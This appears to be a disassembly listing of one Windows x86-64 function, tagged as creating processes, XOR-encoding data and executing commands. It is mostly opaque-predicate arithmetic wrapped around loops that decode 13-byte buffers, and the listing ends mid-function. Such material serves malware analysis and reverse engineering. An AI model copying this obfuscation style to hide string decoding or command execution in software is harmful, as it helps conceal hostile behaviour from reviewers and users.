Function at 0x140007280
Capabilities:
Create process on windows
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2a8]
sub rsp, 0x380
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r11, rdx
mov qword [rbp - 0x60], rdx
mov r10d, ecx
mov dword [rbp - 0x4c], ecx
call fcn.1400042c0
movsx ebx, al
call fcn.1400042b0
movsx r8d, al
imul ebx, r8d
call fcn.1400042f0
movsx esi, al
lea edx, [rbx + rbx*2]
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
xor r12d, r12d
lea r14d, [r12 + 8]
cmp eax, ecx
je 0x14000a3ac
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov eax, r12d
cmp r10d, 2
setl al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea r15d, [rsi + rbx*4]
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400073d4
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x1400073d4
mov r9d, r14d
jmp 0x140007433
lea eax, [rbx + rbx*4]
lea r9d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000742e
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r9d, xmm0
jmp 0x140007433
mov r9d, dword [rsp + 0x78]
movsx eax, byte [0x140017004]
add eax, esi
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000a3ac
lea ecx, [rbx + rsi]
movsx eax, byte [0x140017004]
lea ecx, [rcx + rbx*8]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a239
mov byte [rbp - 0x51], r12b
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x51]
call fcn.140003670
mov r9, rax
movsd xmm4, qword [0x140011a90]
movsd xmm5, qword [0x140011a88]
movsd xmm6, qword [0x140011a80]
cmp byte [rax], r12b
jne 0x140007ef9
mov dword [rsp + 0x30], r12d
mov ecx, dword [rsp + 0x30]
imul eax, ebx, 7
add eax, esi
mov dword [rbp - 0x68], eax
call fcn.1400042d0
movsx r10d, al
call fcn.140004300
movsx r11d, al
call fcn.1400042e0
movsx edi, al
movsd xmm3, qword [0x140011a78]
mov r13d, dword [rsp + 0x78]
nop dword [rax]
nop dword [rax + rax]
movsx edx, byte [0x140017340]
imul edx, r10d
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x1400076e8
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007592
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007592
mov r13d, r14d
jmp 0x1400075ea
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400075ea
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000765f
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000765f
mov dword [rsp + 0x68], r14d
jmp 0x1400076ba
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400076ba
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x68]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, r13b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx eax, byte [0x140017004]
add eax, dword [rbp - 0x68]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007cf4
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x1400078ff
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400077a5
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x1400077a5
mov dword [rsp + 0x60], r14d
jmp 0x140007800
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007800
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007875
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007875
mov dword [rsp + 0x64], r14d
jmp 0x1400078d0
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400078d0
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x64]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x60]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx edx, byte [0x140017340]
imul edx, r10d
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007ae7
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007992
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007992
mov dword [rbp - 0x7c], r14d
jmp 0x1400079ec
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400079ec
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007a60
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007a60
mov dword [rbp - 0x80], r14d
jmp 0x140007aba
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007aba
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x80]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x7c]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + rbx*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007cf4
mov eax, dword [rsp + 0x30]
sub eax, 0x5d
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007b90
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007b90
mov dword [rbp - 0x74], r14d
jmp 0x140007bea
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007bea
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x5d
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007c6d
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007c6d
mov dword [rbp - 0x78], r14d
jmp 0x140007cc7
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007cc7
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x78]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x74]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx edx, byte [0x140017340]
imul edx, r10d
shl edx, 3
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007edf
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007d8a
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007d8a
mov dword [rbp - 0x70], r14d
jmp 0x140007de4
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007de4
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007e58
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140007e58
mov dword [rbp - 0x6c], r14d
jmp 0x140007eb2
lea eax, [rbx + rbx*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140007eb2
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x6c]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x70]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0xd
jb 0x140007500
xor r12d, r12d
mov byte [r9], 1
lea rax, [r9 + 1]
mov qword [rsp + 0x78], rax
mov byte [rbp - 0x4f], 0
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x4f]
call fcn.140002dc0
mov r10, rax
cmp byte [rax], 0
jne 0x1400089b3
mov dword [rsp + 0x30], r12d
mov ecx, dword [rsp + 0x30]
cmp ecx, 0xd
jae 0x1400089b3
call fcn.1400042b0
movsx edx, al
call fcn.1400042c0
movsx ecx, al
imul edx, ecx
imul edx, edx, 7
call fcn.1400042f0
movsx eax, al
add eax, edx
mov dword [rbp - 0x68], eax
call fcn.1400042b0
movsx edx, al
call fcn.1400042c0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea r15d, [rcx + rdx*4]
call fcn.1400042d0
movsx r11d, al
call fcn.140004300
movsx ebx, al
call fcn.1400042e0
movsx edi, al
call fcn.1400042b0
movsx r9d, al
call fcn.1400042c0
movsx ecx, al
imul r9d, ecx
call fcn.1400042f0
movsx esi, al
movsd xmm3, qword [0x140011a98]
mov r13d, dword [rsp + 0x78]
nop word [rax + rax]
movsx edx, byte [0x140017340]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x1400081a4
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008050
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008050
mov r13d, r14d
jmp 0x1400080a9
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400080a9
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000811c
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000811c
mov dword [rbp - 0x70], r14d
jmp 0x140008177
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008177
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rbp - 0x70]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, r13b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
movsx eax, byte [0x140017004]
add eax, dword [rbp - 0x68]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400087ac
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x1400083b4
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000825e
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000825e
mov dword [rbp - 0x74], r14d
jmp 0x1400082b9
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400082b9
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000832c
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000832c
mov dword [rbp - 0x6c], r14d
jmp 0x140008387
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008387
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rbp - 0x6c]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, byte [rbp - 0x74]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
movsx edx, byte [0x140017340]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000859b
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008445
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008445
mov dword [rbp - 0x7c], r14d
jmp 0x1400084a0
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400084a0
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008513
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008513
mov dword [rbp - 0x78], r14d
jmp 0x14000856e
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000856e
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
